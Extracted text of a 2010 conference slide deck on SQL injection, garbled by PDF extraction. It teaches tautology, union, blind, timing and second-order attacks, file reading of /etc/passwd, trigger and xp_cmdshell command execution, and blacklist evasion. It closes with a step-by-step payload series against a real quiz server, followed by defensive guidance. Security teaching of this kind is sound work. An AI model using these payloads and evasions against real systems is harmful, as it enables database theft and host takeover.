Show the reader the potential damage that a SQL injection vulnerability can make. Show evading techniques to some filters. Show some common mistakes that the programmers make when protecting their sites. Show the best practices to protect your code.
2. SAPO
Websecurity
Team
Summary
2
•
Mo:va:on
•
Objec:ves
•
What
is
SQLi?
•
ABack
using
Tautologies
•
ABack
using
union
query
•
Blind
Injec:on
•
Timing
ABacks
•
Second
Order
SQLi
•
File
System
Access
•
Piggy-‐backed
Queries
•
Use
of
SELECT
to
INSERT
or
UPDATE
•
Common
Mistakes
while
Protec:ng
•
Int
queries
•
Blacklist
Approach
•
Best
Prac:ces
•
Prepared
Statements
•
Escaping/Valida:ng
Input
•
Codebits
Security
Quiz
Summary:
4. SAPO
Websecurity
Team SAPO
Codebits
2010
Objectives
4
•Awareness:
•
This
is
a
real
problem
and
it’s
dangerous
•How
to
protect
your
code:
•
There
are
good
and
bad
protec:ons.
Two
Objec=ves:
5. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > What is it?
5
• SQL
Injec:on
vulnerabili:es
are
introduced
when
so[ware
developers
use
unstrusted
data
in
the
construc:on
of
dynamic
SQL
queries
What
is
it?
Example
of
Vulnerable
query:
Impact
of
SQLi:
• Data
loss
or
corrup:on
• Data
leakage
• DoS
• Some:mes
can
lead
to
complete
host
takeover
• Reputa:on
can
be
harmed.
6. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Example of Attack using Tautologies
6
Example
of
Vulnerable
code:
AQack:
•
hBp://vuln.example/login?username=x’
or
1=1
limit
0,1-‐-‐
-‐
Query
executed:
•
SELECT
id,group,full_name
FROM
users
WHERE
username=’x’
or
1=1
limit
0,1
Query
returns
the
first
row
of
table
users,
thus
you’ll
login
with
that
user
and
see
his
full
name
7. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > More Advanced Attack using union queries
7
Example
of
Vulnerable
code:
AQack:
•
hBp://vuln.example/login?username=x’
and
1=0
union
select
null,null,table_name
from
informa:on_schema.tables
limit
30,1-‐-‐
-‐
Query
executed:
•
SELECT
id,group,full_name
FROM
users
WHERE
username=’x’
and
1=0
union
select
null,null,table_name
from
informa:on_schema.tables
limit
30,1
• You
can
use
the
UNION
to
find
the
number
of
columns
in
the
query
(or
ORDER
BY)
• You
use
the
3rd
column
of
the
query
(full_name)
to
dump
informa:on
from
the
db...
• You
can
also
use
CONCAT()
to
retrieve
several
fields
as
one
field
8. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Blind injection
8
...
but
some:mes
you
are
not
that
lucky.
Some:mes
the
only
informa:on
you
can
get
is
a
binary
result
-‐
true
or
false,
1
or
0,
error
or
no-‐error.
That
is
called
a
Blind
SQLi.
Imagine
that
the
following
URL
is
vulnerable
to
a
blind
SQLi:
• hQp://vuln.example.com/news.php?id=12
Trying
to
guess
the
table
name:
• id=5
union
all
select
1,2,3
from
admin
/*
Returns
an
error
if
table
admin
does
not
exist
*/
Trying
to
guess
the
column
names:
• id=5
union
all
select
1,2,passwd
from
admin
/*
Returns
an
error
if
column
passwd
does
not
exist
*/
Extract
‘username:passwd’
from
table
(char
by
char):
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>64
/*
ret
true
*/
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>96
/*
ret
true
*/
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>100
/*
ret
false
*/
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>97
/*
ret
false
*/
(....)
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),2,1))>64
/*
ret
true
*/
(...)
Don’t
worry,
you
have
tools
to
automa:ze
this...
9. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Get around blind SQLi > sqlmap
9
sqlmap
can
save
you
a
lot
of
:me
when
exploi:ng
a
blind
SQL
injec:on.
There
are
a
lot
of
other
powerful
op:ons
at
your
disposal
as
well...
10. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Some Stats
10
But
wait,
is
this
a
common
problem?
YES!
According
to
exploit-‐db.com,
in
the
past
3
months
they
reported:
•
190
SQLi
vulnerabili:es
in
popular
Web
Applica=ons,
•40
were
blind
SQLi
•36
were
in
Joomla
Components
11. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Some Stats
11
To
get
this
stats,
I
was
searching
for
the
string
“sql
injec:on”...
..
and
I
no:ced
that
the
results
page
was
broken,
so
I
tried
to
exploit
it
and
found
it
was
vulnerable
to
XSS.
I
reported
the
vulnerability
and
it
was
fixed
within
10
minutes.
12. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Timing attacks
12
Some:mes
you
don’t
even
get
a
True/False
or
Error/Non-‐Error
response.
In
those
cases
you
need
to
use
a
Timing
aBack
A
real
example
-‐
LightNEasy
CMS
3.2.1:
handle="
UNION
SELECT
IF(SUBSTRING(password,1
,1)
=
CHAR(98),
BENCHMARK(10000000,
ENCODE('Slow','Down')),
null),2,3,4,5,6,7,8,9,10,11
FROM
lne_users
WHERE
id="1&password=&do=login&=Login
POST
Data:
If
the
first
character
of
the
admin
hash
is
b,
the
query
will
take
around
5
seconds
to
execute
13. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Timing attacks
13
BENCHMARK()
is
MySQL-‐specific,
but
you
have
alterna:ve
func:ons
in
other
DBMS
MySQL
BENCHMARK(10000000,md5(1))
or
SLEEP(5)
PostgreSQL
PG_SLEEP(5)
or
GENERATE_SERIES(1,1000000)
MS
SQL
Server WAITFOR
DELAY
‘0:0:5’
14. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Second Order SQLi
14
•
Create
an
user:
EveMalory’
OR
user=‘admin
•
User
logs
in
•
A[er
logging
in,
the
script
queries
for
user’s
info
based
on
the
retrieved
username:
SELECT
user,
password,
full_name,
age,
homepage,
gender
FROM
users
WHERE
user=‘EveMalory’
OR
user=‘admin’
•
EveMalory
does
not
exist,
thus
we’ll
read
admin’s
info.
What
is
it?
When
the
aBacker
is
able
to
insert
malicious
input
that
does
no
harm
to
the
query
in
the
page
but
will
exploit
a
vulnerability
in
another
page
that
reads
that
malicious
input
to
query
the
database
Example:
15. SAPO
Websecurity
Team
SQLi > File System Access
15
MySQL
requirements:
FILE
privileges
-‐>
Have
your
ever
typed
“grant
all
privileges...”?
1-‐
Inject
a
LOAD_FILE()
call
using
your
favorite
SQLi
technique.
...
union
select
1,1,
LOAD_FILE('/etc/passwd'),1,1;
2-‐
Get
the
LOAD_FILE()
output.
-‐
5000
chars
limit
if
abusing
a
varchar
column
-‐
early
char
truncate
if
forcing
SQL
errors
-‐
binary
content
If
you
have
piggy-‐backed
queries
(and
CREATE
TABLE
privileges)
-‐
create
a
support
table
-‐
redirect
LOAD_FILE()
to
other
file
using
INTO
DUMPFILE,
but
hex
encoded
-‐
read
the
second
file
with
LOAD
DATA
INFILE
to
the
support
table
-‐
read
the
support
table
with
standard
SQLi
CREATE
TABLE
potatoes(line
BLOB);
UNION
SELECT
1,1,
HEX(LOAD_FILE('/etc/passwd')),1,1
INTO
DUMPFILE
‘/tmp/potatoes’;
LOAD
DATA
INFILE
'/tmp/potatoes'
INTO
TABLE
potatoes;
Read
Access
16. SAPO
Websecurity
Team
SQLi > File System Access
16
MySQL
requirements:
FILE
privileges
1-‐
Use
INTO
DUMPFILE
through
union
or
piggy-‐backed
SQLi
Limita:ons
-‐
limits
on
GET
parameters
length
-‐
INTO
DUMPFILE
does
now
append
data
Again,
if
you
have
piggy-‐backed
queries
-‐
create
a
support
table
-‐
INSERT
first
chunk
of
the
file
into
the
table
-‐
using
UPDATE,
CONCAT
the
other
chunks
to
the
first
one
-‐
write
the
file
with
SELECT
INTO
DUMPFILE
Write
Access
17. SAPO
Websecurity
Team
SQLi > File System Access
17
MySQL
requirements:
FILE
and
INSERT
privileges,
and
piggy-‐backed
queries
Using
User
Defined
Func:ons
(UDF)
-‐
func:ons
created
from
shared
libraries
on
the
system
to
be
used
in
SELECT
statements
CREATE
FUNCTION
f_name
RETURNS
INTEGER
SONAME
shared_library
-‐
Fingerprint
you
target
-‐
DMBS,
version
and
host
OS
-‐
with
that
find
out
the
shared
libraries
paths
-‐
Create
a
shared
library
locally,
built
with
the
headers
of
the
target
-‐
include
either
the
sys_eval()
or
sys_exec()
func:on
-‐
Upload
the
cra[ed
shared
library
to
the
shared
libraries
path
-‐
Create
the
UDF
-‐
Execute
the
OS
command
using
the
sys_*()
func:ons
Opera=ng
System
Command
Execu=on
18. SAPO
Websecurity
Team
SQLi > File System Access
18
MS
SQL
Server
is
our
friend
-‐
xp_cmdshell()
procedure
-‐
executes
commands
on
the
host
OS
-‐
returns
the
command
output
-‐
newest
versions
have
it
disabled,
but...
-‐
create
a
support
table
-‐
execute
xp_cmdshell()
and
redirect
output
to
a
temporary
file
-‐
read
the
file
into
the
support
table
using
BULK
INSERT
-‐
SQLi
the
support
table
-‐
clean
up
:)
-‐
use
xp_cmd_shell()
to
delete
temporary
file
-‐
delete
the
support
table
or,
if
you
don’t
care
about
the
output
-‐
execute
xp_cmdshell()
Opera=ng
System
Command
Execu=on
19. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Piggy-backed queries
19
So,
what
can
we
do
if
MySQL
and
PHP/ASP
is
being
used
and
we
want
to
insert
or
update
data?
SQL
Server MySQL
PostgreSQL
ASP
ASP.NET
PHP
The
ability
to
use
the
vulnerability
to
insert
a
second
query
SELECT
user,
password
from
users
where
id=2;
drop
table
users
What
is
it?
Example
(user
input
in
bold):
20. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Use of SELECT to INSERT or UPDATE
20
•
Found
by
Stefano
Di
Paola
from
Minded
Security
•
MySQL
specific
•
Requires
FILE
privileges
•
The
idea
is
to
abuse
Triggers
to
insert
or
update
data
•
One
interes:ng
property
about
MySQL
Triggers
is
that
they
are
stored
in
text
files
:-‐)
•
Works
whether
the
DBMS
is
hosted
on
the
same
or
on
a
different
server
•
The
only
problem
is
that,
based
on
my
tests,
MySQL
needs
to
be
restarted
a[er
the
aBack
21. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Use of SELECT to INSERT or UPDATE
21
$
cat
/opt/local/var/db/mysql5/test/utu.TRN:
TYPE=TRIGGERNAME
trigger_table=users
$
cat
/opt/local/var/db/mysql5/test/users.TRG:
TYPE=TRIGGERS
triggers='CREATE
DEFINER=`root`@`localhost`
trigger
utu
before
insert
on
users
for
each
row
set
NEW.groupid='admin''
sql_modes=0
definers='root@localhost'
client_cs_names='la:n1'
connec:on_cl_names='la:n1_swedish_ci'
db_cl_names='la:n1_swedish_ci'
mysql>
create
trigger
utu
before
insert
on
users
for
each
row
set
NEW.groupid='admin';
Query
OK,
0
rows
affected
(0.57
sec)
How
to
create
a
Trigger
to
update
the
table
users
to
set
the
groupid
as
admin
when
a
new
user
is
created?
22. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Use of SELECT to INSERT or UPDATE
22
mysql>
select
username
from
users
where
id=3
and
1=0
union
select
'TYPE=TRIGGERS'
into
ouKile
'/opt/local/var/db/mysql5/test/users.TRG'
LINES
TERMINATED
BY
'ntriggers='CREATE
DEFINER=`root`@`localhost`
trigger
utu
before
insert
on
users
for
each
row
set
NEW.groupid=
'admin''nsql_modes=0ndefiners='root@localhost'nclient_cs_names=
'laXn1'nconnecXon_cl_names='laXn1_swedish_ci'ndb_cl_names='laXn1_swedish_ci'n';
Query
OK,
1
row
affected
(0.06
sec)
mysql>
select
username
from
users
where
id=3
and
1=0
union
select
'TYPE=TRIGGERNAME'
into
ouKile
'/opt/local/var/db/mysql5/test/utu.TRN'
LINES
TERMINATED
BY
'ntrigger_table=usersn';
Query
OK,
1
row
affected
(0.03
sec)
How
can
we
take
advantage
of
a
SQLi
to
create
the
trigger?
We
can
use
INTO
OUTFILE
to
write
the
trigger
files:
/opt/local/var/db/mysql5/test/users.TRG:
/opt/local/var/db/mysql5/test/utu.TRN:
23. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Wrong Protections
23
Common
Mistakes
When
Protec=ng
your
Code
24. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Wrong Protections > Int values
24
Some
folks
say
that
escaping
user
input
is
enough
(‘
,
“
,
r,
n,
NUL
and
Control-‐Z)
to
prevent
SQLi,
but
is
it?
Imagine
the
following
query
string
from
user.php
which
displays
the
name
of
the
user
:
Is
this
vulnerable
to
SQLi?
What
if
I
enter
the
following
URL:
• hQp://vuln.example.com/user.php?id=12
AND
1=0
union
select
1,concat(user,0x3a,password),
3,4,5,6
from
mysql.user
where
user=substring_index(current_user(),char(64),1)
mysql_real_escape_string()
will
not
escape
any
character
because
there
isn’t
any
to
be
escaped,
therefore
root:*31EFD0D03381795E5B770791D7A56CCD379F1141
will
be
output
to
the
screen
The
query
result
is
the
following:
25. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Wrong Protections > Alternate Encodings
25
•
Consider
the
GBK
Chinese
unicode
charset
•
Let’s
take
a
look
at
some
characters:
0x 5c =
0x 27 = ʼ
0x bf 27 = ¿ʼ
0x bf 5c =
db
interprets
as
2
chars
db
interprets
as
a
single
chinese
char
•
Imagine
that
you
use
addslashes()
to
escape
input
in
your
code
•
If
aBacker
inputs
¿' or
1=1 , the string becomes ¿' (0xbf5c27)
• But
0xbf5c
is
the
chine
char
,
thus
the
resul:ng
string
is
interpreted
as
‘
OR
1=1
•
In
case
you
haven’t
no:ced,
you
just
bypassed
the
escaping
func:on
I
found
this
in
a
Quiz
for
a
Security
course
from
a
popular
University:
26. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Wrong Protections > Blacklist filtering
26
•
Blacklists,
i.e
filter
out
some
chars
or
expressions,
is
not
a
good
prac:ce
•
Imagine
that
you
filter
the
following
from
user
input:
•
Spaces
•
Quotes
(“
and
‘)
•
Some
SQL
keywords
(like
where)
You
shall
not
use
spaces:
SELECT/**/passwd/**/from/**/user
or
SELECT(passwd)from(user)
You
shall
not
use
quotes:
SELECT
passwd
from
users
where
user=0x61646D696E (hex
for
admin)
You
shall
not
use
the
where
keyword:
You
can
use
HAVING
and
IF()
and
ORDER
BY
You
get
the
idea...
27. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > How to Protect against SQLi?
27
Two
main
defenses:
•
Prepared
Statements
/
Parameterized
Queries
•
Escaping/Valida:ng
Input
28. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Protect against SQLi > Prepared Statements
28
Prepared
Statements:
•
Prepared
statements
keep
the
query
structure
and
query
data
separated
through
the
use
of
placeholders
known
as
bound
parameters.
The
developer
must
then
set
values
for
the
placeholders.
•
Prepared
statements
ensure
that
an
aBacker
is
not
able
to
change
the
intent
of
a
query,
even
if
SQL
commands
are
inserted
by
an
aBacker
Example:
29. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Protect against SQLi > Escaping/Validating INPUT
29
•
If
Prepared
Statements
are
not
possible
you
should
Escape
and
Validate
user
input
•
You
can
also
use
this
technique
in
addi:on
to
prepared
statements
If
you
know
what
input
you
are
expec:ng
you
can
validate
it:
•
If
you
are
expec:ng
integers
cast
the
input
to
integer
or
use
PHP’s
intval()
•
If
you
are
expec:ng
an
email
address
you
can
use
a
regexp
to
validate
it
•
If
you
are
expec:ng
the
user’s
name
it’s
not
so
simple
(because
of
the
‘)
Escape
all
the
user
input:
•
Each
programming
language
has
its
own
func:ons
or
methods
•
in
PHP
you
can
use
addslashes()
(with
cau:on)
•
If
possible
use
the
DBMS
specific
escaping
func:on
(e.g.
mysql_real_escape_string())
30. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Protect against SQLi > Other
30
•
Create
a
specific
database
user
to
be
used
exclusively
by
your
Web
App
•
Only
grant
the
user
with
the
necessary
privileges
(exclude
file,
drop,
create,
etc
from
the
list)
•
Limit
the
access
to
the
database
to
localhost
only
(if
possible)
or
to
the
Web
frontends
•
SET
THE
DBMS
ROOT’S
PASSWORD!
(seriously)
•
Use
strong
passwords
in
your
DBMS
for
root
and
all
other
users
Other
important
recommenda=ons:
32. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Codebits Security Quiz
32
The
last
step
of
the
Security
Quiz
was
a
SQLi
injec:on
in
the
field
username:
•
The
field
username
was
being
filtered
using
a
blacklist
approach
(bad
idea,
now
you
know!)
•
What
was
filtered?
•
whitespaces
•
Quotes
(‘
and
“)
•
Slashes
(
and
/)
•
null,
where,
limit,
benchmark
•
into,
file,
case
•
some
comments
(-‐-‐
and
/*)
•
Before
the
authen:ca:on
process
the
script
was
vulnerable
to
a
blind
SQLi
•
A[er
the
authen:ca:on
process
it
was
just
a
regular
SQLi
•
The
table
had
five
columns:
id,
username,
password,
full_name
and
homepage
The
Facts:
33. SAPO
Websecurity
Team SAPO
Codebits
2010
SQLi > Codebits Security Quiz
33
• Pass authentication:
http://194.65.94.54/cb/index.php?Password=x&username=(1)or(1)=(1)
• Find database:
http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select
(1),database())%23
• Find table:
http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select
(table_schema),(table_name)from(information_schema.tables)having((table_schema)
=(0x6362697473627265616B6462)))%23
• Find 1st column from table:
http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select
(table_name),(column_name)from(information_schema.columns)having((table_name)=
(0x7573657273)))%23
• Find last column from table:
http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select
(table_name),(column_name)from(information_schema.columns)having((table_name)=
(0x7573657273)%26%26(column_name)!=(0x6964)%26%26(column_name)!=
(0x66756C6C5F6E616D65)%26%26(column_name)!=(0x70617373776F7264)))%23
• Extract the URL:
http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select
(id),(homepage)from(users)having((id)=(3)))
So,
let’s
see
how
we
can
circumvent
the
filter: